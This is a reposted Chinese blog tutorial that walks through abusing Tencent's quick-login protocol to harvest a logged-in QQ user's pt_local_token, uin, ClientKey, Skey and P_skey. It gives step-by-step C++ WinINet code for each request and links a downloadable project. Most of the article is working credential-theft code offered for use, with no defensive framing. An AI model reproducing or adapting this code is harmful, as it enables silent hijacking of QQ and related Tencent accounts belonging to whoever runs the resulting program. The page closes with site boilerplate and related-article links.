利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

这篇具有很好参考价值的文章主要介绍了利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

本文主要通过利用腾讯网页快捷登录协议来模拟访问并截取已登录 QQ 客户端的Token、Uin、ClientKey、Skey、P_skey等。

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

Step 1、

https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1

初始化地址、建立会话并发送请求,从返回的数据中查找pt_local_token的值。

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

浏览器中的数据(pt_local_token 的值在 Headers -> Response Headers -> Set-Cookie 中)

实现代码:

        // 初始化URL
        URL_COMPONENTSA crackedURL = { 0 };
 
        char URL_STRING[] = "https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1";
 
        char szHostName[128] = { 0 };
        char szUrlPath[256] = { 0 };
 
        crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
        crackedURL.lpszHostName = szHostName;
        crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
        crackedURL.lpszUrlPath = szUrlPath;
        crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
        InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL);
 
        // 初始化会话
        HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (hInternet != NULL){
            HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
            if (hHttpSession != NULL){
                HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
                if (hHttpRequest != NULL){
                    BOOL bRet = FALSE;
                    // 发送HTTP请求
                    bRet = HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
                    if (bRet){
                        // 查询HTTP请求状态
                        DWORD dwRetCode = 0;
                        DWORD dwSizeOfRq = sizeof(DWORD);
                        bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
                        if (bRet){
                            // 读取整个Headers
                            char lpHeaderBuffer[1024] = { 0 };
                            dwSizeOfRq = 1024;
                            HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
                            // 提取 pt_local_token 的值
                            char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
                            while (pt_local_token != lpHeaderBuffer){
                                if (strstr(pt_local_token, "pt_local_token=")){
                                    pt_local_token += sizeof("pt_local_token");
                                    char* pEndBuffer = strstr(pt_local_token, ";");
                                    *pEndBuffer = 0;
                                    break;
                                }
                                pt_local_token--;
                            }
 
                            // 关闭句柄
                            InternetCloseHandle(hHttpRequest);
                            InternetCloseHandle(hHttpSession);
 
                            cout << "[+] pt_local_token:" << pt_local_token << "\r\n" << endl;
                        }
                    }
                }
            }
        }

Step 2、

https://localhost.ptlogin2.weiyun.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.6694805047494219&pt_local_tk=pt_local_token

利用Step1获取的pt_local_token值构造地址并发送请求获取已登录的QQ uin。
请求需要带入Referer: https://ssl.xui.ptlogin2.weiyun.com/
端口从4301 ~ 4309(如本机只登录了一个QQ号,那必然会是默认的4301端口)

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

浏览器中的返回数据(在 Response 中)

var var_sso_uin_list=[{"uin":25XXXXXXX3,"face_index":525,"gender":0,"nickname":"XXXXXXX","client_type":65793,"uin_flag":8388608,"account":25XXXXXXX3}];ptui_getuins_CB(var_sso_uin_list);

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

实现代码:

    /* 二次会话 */
 
    //生成16位随机数
    time_t seed = time(NULL);
    srand((unsigned)seed);
 
    CString szRand1 = "", szRand2 = "";
 
    for (int j = 0; j < 16; j++)
    {
        switch ((rand() % 2))
        {
        case 1:
            szRand1.Format("%C", rand() % 5 + 48);
            break;
        default:
            szRand1.Format("%C", rand() % 5 + 53);
        }
        szRand2 += szRand1;
        Sleep(50);
    }
 
    char *szRandNum = szRand2.GetBuffer(szRand2.GetLength() + 1);
    szRand2.ReleaseBuffer();
 
    // 初始化URL参数
    char lpszUrlPath[1024] = { 0 };
    strcat(lpszUrlPath, "/pt_get_uins?callback=ptui_getuins_CB&r=0.");
    strcat(lpszUrlPath, szRandNum);            // 追加16位随机数
    strcat(lpszUrlPath, "&pt_local_tk=");
    strcat(lpszUrlPath, pt_local_token);    // 追加pt_local_token
 
    // 建立会话
    hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL != hHttpSession)
    {
        hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
        if (NULL != hHttpRequest)
        {
            // 发送HTTP请求,添加头信息
            char lpHeaders[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/";
            bRet = HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);
            if (bRet)
            {
                // 查询HTTP请求状态
                dwRetCode = 0;
                dwSizeOfRq = sizeof(DWORD);
                bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
                if (bRet)
                {
                    // 获取返回数据的大小
                    DWORD dwNumberOfBytesAvailable = 0;
                    bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);
                    if (bRet)
                    {
                        // 读取网页内容
                        char* lpBuffer = new char[dwNumberOfBytesAvailable + 1]();
                        bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);
                        if (bRet)
                        {
                            // 提取 QQ uin
                            char* uin = lpBuffer + dwNumberOfBytesAvailable;
                            while (uin != lpBuffer)
                            {
                                if (strstr(uin, "\"uin\":"))
                                {
                                    uin += sizeof("\"uin\":") - 1;
                                    char* pEndBuffer = strstr(uin, "}");
                                    *pEndBuffer = 0;
                                    break;
                                }
                                uin--;
                            }
 
                            // 关闭句柄
                            InternetCloseHandle(hHttpRequest);
                            InternetCloseHandle(hHttpSession);
 
                            cout << "[+] uin:" << uin << "\r\n" << endl;
 
                            delete[] lpBuffer;
                        }
                    }
                }
            }
        }

Step 3、

https://localhost.ptlogin2.weiyun.com:4301/pt_get_st?clientuin= uin&pt_local_tk= pt_local_token

截取 QQ ClientKey
利用Step1获取到的pt_local_token与Step2获取到QQ uin构造地址并发送请求。
请求需要带入 Referer: https://ssl.xui.ptlogin2.weiyun.com/

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

浏览器中的数据(在 Cookies -> Response Cookies 中)

实现代码:

    /* 三次会话 */
 
    // 构造 URL
    ZeroMemory(lpszUrlPath, 1024);
    strcat(lpszUrlPath, "/pt_get_st?clientuin=");
    strcat(lpszUrlPath, uin);
    strcat(lpszUrlPath, "&pt_local_tk=");
    strcat(lpszUrlPath, pt_local_token);
 
    // 发送HTTPS请求
    hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL != hHttpSession)
    {
        hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
        if (NULL != hHttpRequest)
        {
            // 添加头信息
            char lpHeaders2[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/";
            bRet = HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);
            if (bRet)
            {
                // 查询HTTP请求状态
                dwRetCode = 0;
                dwSizeOfRq = sizeof(DWORD);
                bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
                if (bRet)
                {
                    // 读取整个Headers
                    ZeroMemory(lpHeaderBuffer, 1024);
                    dwSizeOfRq = 1024;
                    bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
                    if (bRet)
                    {
                        // 提取 ClientKey 的值
                        char* clientkey = lpHeaderBuffer + dwSizeOfRq;
                        while (clientkey != lpHeaderBuffer)
                        {
                            if (strstr(clientkey, "clientkey="))
                            {
                                clientkey += sizeof("clientkey");
                                char* pEndBuffer = strstr(clientkey, ";");
                                *pEndBuffer = 0;
                                break;
                            }
                            clientkey--;
                        }
 
                        // 关闭句柄
                        InternetCloseHandle(hHttpRequest);
                        InternetCloseHandle(hHttpSession);
 
                        cout << "[+] clientkey:" << clientkey << "\r\n" << endl;
                    }
                }
            }
        }
    }

Step 4、

https://ptlogin2.qq.com/jump?clientuin= uin &clientkey= ClientKey &keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40

获取 Skey 并提取 ptsigx 的值
利用Step 2的QQ uin与Step 3获取的ClientKey构造地址并发送请求。
请求需要带入 Referer:https://ptlogin2.qq.com/

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

浏览器中的数据(Skey 在 Cookies -> Response Cookies 中)

实现代码:

    /* 四次会话 */
 
    // 构造 URL
    ZeroMemory(lpszUrlPath, 1024);
    strcat(lpszUrlPath, "/jump?clientuin=");
    strcat(lpszUrlPath, uin);
    strcat(lpszUrlPath, "&clientkey=");
    strcat(lpszUrlPath, clientkey);
    strcat(lpszUrlPath, "&keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40");
 
    // 发送HTTPS请求
    hHttpSession = InternetConnectA(hInternet, "ptlogin2.qq.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL != hHttpSession)
    {
        hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
        if (NULL != hHttpRequest)
        {
            // 添加Referer
            char lpReferer[128] = { 0 };
            strcpy(lpReferer, "Referer: ");
            strcat(lpReferer, "https://ptlogin2.qq.com/");
            strcat(lpReferer, "\r\n");
 
            HttpAddRequestHeaders(hHttpRequest, lpReferer, -1L, HTTP_ADDREQ_FLAG_ADD);
 
            bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0);
            if (bRet)
            {
                // 查询HTTP请求状态
                dwRetCode = 0;
                dwSizeOfRq = sizeof(DWORD);
                bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
                if (bRet)
                {
                    // 获取返回数据的大小
                    DWORD dwNumberOfBytesAvailablex = 0;
                    InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailablex, NULL, NULL);
 
                    // 读取返回的 Response 数据
                    char* lpBufferx = new char[dwNumberOfBytesAvailablex + 1]();
                    InternetReadFile(hHttpRequest, lpBufferx, dwNumberOfBytesAvailablex, &dwNumberOfBytesAvailablex);
 
                    // 输出 Response 数据
                    cout << "[+] Response Data:" << lpBufferx << "\r\n" << endl;
 
                    // 从返回数据中提取 ptsigx 备用
                    char* ptsigx = lpBufferx + dwNumberOfBytesAvailablex;
                    while (ptsigx != lpBufferx)
                    {
                        if (strstr(ptsigx, "check_sig?"))
                        {
                            ptsigx += sizeof("check_sig");
                            char* pEndBuffer = strstr(ptsigx, "'");
                            *pEndBuffer = 0;
                            break;
                        }
                        ptsigx--;
                    }
 
                    // 构造 ptsigx URL
                    CString szPtsigx = "";
                    szPtsigx.Format(TEXT("/check_sig?%s"), ptsigx);
 
                    cout << "[+] szPtsigx:" << szPtsigx << "\r\n" << endl;
 
                    delete[] lpBufferx;
 
                    // 读取整个Headers
                    ZeroMemory(lpHeaderBuffer, 1024);
                    dwSizeOfRq = 1024;
                    HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL);
 
                    // 提取 skey 的值
                    char* skey = lpHeaderBuffer + dwSizeOfRq;
                    while (skey != lpHeaderBuffer)
                    {
                        if (strstr(skey, "skey="))
                        {
                            skey += sizeof("skey");
                            char* pEndBuffer = strstr(skey, ";");
                            *pEndBuffer = 0;
                            break;
                        }
                        skey--;
                    }
 
                    // 关闭句柄
                    InternetCloseHandle(hHttpRequest);
                    InternetCloseHandle(hHttpSession);
 
                    cout << "[+] Skey:" << skey << "\r\n" << endl;
                }
            }
        }
    }

Step 5、

获取 P_skey
通过Step 4构造的 ptsigx URL 建立会话并发送请求。

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程

浏览器中的数据(P_skey 在 Headers -> Response Headers -> Set-Cookie 中)

实现代码:

    /* 五次会话 */
 
    char *u_Ptsigx = szPtsigx.GetBuffer(szPtsigx.GetLength() + 1);
    szPtsigx.ReleaseBuffer();
 
    // 发送HTTPS请求
    hHttpSession = InternetConnectA(hInternet, "ssl.ptlogin2.weiyun.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL != hHttpSession)
    {
        hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", u_Ptsigx, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
        if (NULL != hHttpRequest)
        {
            bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0);
            if (bRet)
            {
                // 查询HTTP请求状态
                dwRetCode = 0;
                dwSizeOfRq = sizeof(DWORD);
                bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
                if (bRet)
                {
                    // 读取整个Headers
                    ZeroMemory(lpHeaderBuffer, 1024);
                    dwSizeOfRq = 1024;
                    HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL);
 
                    // 提取 p_skey 的值
                    char* pskey = lpHeaderBuffer + dwSizeOfRq;
                    while (pskey != lpHeaderBuffer)
                    {
                        if (strstr(pskey, "p_skey="))
                        {
                            pskey += sizeof("p_skey");
                            char* pEndBuffer = strstr(pskey, ";");
                            *pEndBuffer = 0;
                            break;
                        }
                        pskey--;
                    }
 
                    cout << "[+] P_skey:" << pskey << "\r\n" << endl;
                }
            }
        }
    }

至此所有数据已全部获取完毕,另外还有获取QQ好友、QQ群数据等等,下回再详细列举,如使用过程中有任何BUG或代码失效可以私信联系处理(有空的话)。

测试项目下载

【蓝奏云下载】(提取码:eh9v)

【百度云下载】(提取码:wqau)文章来源地址https://www.toymoban.com/news/detail-776912.html

到了这里,关于利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Python实现批量QQ自动登录

    需要使用 Python 设计一个 QQ 的批量自动登录的脚本, 查了一些资料, 通过调 API 实现该功能。 代码主要使用了几个常用的 API win32gui win32api win32con PyUserInput 前置需要安装 PyHook,否则会报错 pykeyboard pymouse 参考链接 PyHook3 安装 https://www.cnblogs.com/Denon-CAT/p/12771357.html 注意 在使用该程

    2024年02月16日
    浏览(35)
  • Java模拟QQ登录界面(GUI)

    链接: https://pan.baidu.com/s/13JJFyg14CbShs_HzLAoW6w?pwd=pwu3 提取码: pwu3  对每个文本框进行监控,鼠标定在哪的时候,下边框变为蓝色 用户光标定到文本框的时候,要是没有输入信息,就把里面的提示文字给清除掉,给用户一个好的体验 登录的时候对账号和密码检验,要是账号和密码都是ad

    2024年02月03日
    浏览(38)
  • 微信QQ登录(web和uniapp)

    参考链接: 微信登录官网文档:https://developers.weixin.qq.com/doc/oplatform/Mobile_App/WeChat_Login/Authorized_API_call_UnionID.html QQ登录官网文档:https://wiki.connect.qq.com/%e7%bd%91%e7%ab%99%e5%ba%94%e7%94%a8%e6%8e%a5%e5%85%a5%e6%b5%81%e7%a8%8b uniapp微信QQ登录官网文档:https://uniapp.dcloud.net.cn/tutorial/app-oauth-weixin

    2024年04月09日
    浏览(44)
  • 利用Wireshark抓取QQ的数据流

    一、准备工作 1、下载好Wireshark。 2、在手机和电脑分别登录同一个 QQ。 3、电脑和手机连同一个网络(WiFi和或者手机热点)。 二、操作阶段 1、打开Wireshark。 2、查看手机所连接网络的ip地址。 3、选择WLAN,在搜索栏输入ip.src== + ip地址,然后Enter。  4、用手机QQ的我的电脑向

    2024年02月13日
    浏览(50)
  • 如何在你的网站接入QQ登录?

    国内服务器和备案域名 需要你有张独一无二本人的身份证 你正面手持身份证的图片 一张100px*100px的网站图标 首先访问qq互联,点击我直接访问 登陆完成后我们点击面的应用管理 然后我们点击头像进入页面后填写相关的信息等待审核就好了(审核时间大概在一天左右吧) 回

    2024年01月21日
    浏览(42)
  • 【腾讯云 TDSQL-C Serverless 产品体验】基于TDSQL-C 存储爬取的QQ音乐歌单数据

    最近有幸参与了腾讯云举办的 腾讯云 TDSQL-C 产品体验活动。在这个过程中,通过了解 TDSQL-C 的产品和实践,让我受益非浅,原来数据库还能这么玩! 也让我真正体会到了降本增效这个词的意义。 在看到活动的介绍和微信群的讲解后,我马不停蹄地开始了自己摸索。首先是跟

    2024年02月12日
    浏览(45)
  • Android实现qq登录注册和好友列表界面

    学习Android已经有一个多月了,老师留了实现qq登陆注册和好友列表的作业,要求: 设计登录界面,注册界面和好友列表界面。 在登录界面输入用户名“ admin ”,密码“ abc123 ”后,判断用户名和密码是否正确。 若用户名或密码错误则给出相应提示:“用户名或密码输入有误

    2024年02月02日
    浏览(48)
  • 记录--你的网站如何接入QQ,微信登录

    主要实现步骤 对接第三方平台,获取第三方平台的用户信息。 利用该用户信息,完成本应用的注册。 qq互联 登录后,点击头像,进行开发者信息填写,等待审核。 邮箱验证后,等待审核。 审核通过后,然后就可以创建应用了。 然后填写一些网站信息,等待审核。审核通过

    2024年02月19日
    浏览(36)
  • 【HTML+CSS+JS】模仿QQ登录界面

    学了HTML、CSS和JS有了一个月了,JS还未学完,偷懒写一个小项目,用了一个下午,顺便巩固一下所学知识。(内容比较简陋,适合新手) 源代码:https://github.com/yeziyuhai/QQ-login-interface 左边是我的,右边是官方的。没有设计稿和素材,只能自己找,所以是无法做到一模一样的,

    2024年02月06日
    浏览(84)
  • Qt设置类似于qq登录页面(ikun)

    头文件 源文件 效果图 实现

    2024年02月04日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包